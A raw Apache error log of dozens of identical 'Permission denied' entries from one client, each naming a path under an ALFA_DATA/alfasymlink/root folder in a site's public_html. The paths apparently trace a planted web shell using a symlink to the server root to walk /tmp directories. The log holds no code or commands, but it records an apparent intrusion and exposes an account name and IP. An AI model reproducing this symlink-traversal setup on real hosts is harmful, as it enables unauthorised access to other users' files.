[Sun Oct 25 14:26:55.443591 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:26:55.443603 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:26:55.443614 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:26:55.443633 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:26:55.443645 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:26:55.443675 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:26:55.443689 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:26:55.443701 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:26:55.443712 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:26:55.443724 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:26:55.443736 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:26:55.443749 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:26:55.443770 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:26:55.443795 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:26:55.443815 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:26:55.443834 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:26:55.443849 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:26:55.443862 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:26:55.443875 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:26:55.443886 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:26:55.443899 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:26:55.443917 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:26:55.443947 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:26:55.443961 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:26:55.443978 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:26:55.444005 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:26:55.444017 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:26:55.444037 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:26:55.444057 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:26:55.444072 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:26:55.444084 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:26:55.444106 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:26:55.444119 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:26:55.444143 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:26:55.444161 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:26:55.444179 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:26:55.444192 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:26:55.444203 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:26:55.444240 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:26:55.444261 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:26:55.444283 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:26:55.444297 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:26:55.444343 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:26:55.444365 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
[Sun Oct 25 14:26:55.444413 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5f_1VQEffJ/' is executable
[Sun Oct 25 14:26:55.444429 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yrMznD9gyg/' is executable
[Sun Oct 25 14:26:55.444442 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/i3jxbRrWaA/' is executable
[Sun Oct 25 14:26:55.444453 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/dNfJKz5yvg/' is executable
[Sun Oct 25 14:26:55.444464 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI2qwhbKGu/' is executable
[Sun Oct 25 14:26:55.444502 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hPKEt7w1PK/' is executable
[Sun Oct 25 14:26:55.444525 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-6JeWhp/' is executable
[Sun Oct 25 14:26:55.444539 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/C3vvDGRpTf/' is executable
[Sun Oct 25 14:26:55.444557 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eTa7v46lM5/' is executable
[Sun Oct 25 14:26:55.444577 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oFkHjdAXTr/' is executable
[Sun Oct 25 14:26:55.444595 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o1Nn2aP6r8/' is executable
[Sun Oct 25 14:26:55.444617 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kEKIbVJwbS/' is executable
[Sun Oct 25 14:26:55.444648 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xC1whEdMkq/' is executable
[Sun Oct 25 14:26:55.444669 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9fqABosYmc/' is executable
[Sun Oct 25 14:26:55.444704 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/lost+found/' is executable
[Sun Oct 25 14:26:55.444719 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_caOxgALx2/' is executable
[Sun Oct 25 14:26:55.444739 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pN3AQhlNgj/' is executable
[Sun Oct 25 14:26:55.444752 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PsRo7Bsa_S/' is executable
[Sun Oct 25 14:26:55.444766 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-mPfqIM/' is executable
[Sun Oct 25 14:26:55.444941 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/OwP99dXZ_b/' is executable
[Sun Oct 25 14:26:55.444959 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/H3T3qe0a6L/' is executable
[Sun Oct 25 14:26:55.444971 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/BQ13T2xrrG/' is executable
[Sun Oct 25 14:26:55.444998 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XZqhtmoMNN/' is executable
[Sun Oct 25 14:26:55.445019 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xCPByHeGOe/' is executable
[Sun Oct 25 14:26:55.445031 2026] [core:crit] [pid 2875804:tid 2875804] (13)Permission denied: [client 76.135.135.39:50939] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/m5eQaqt7WO/' is executable
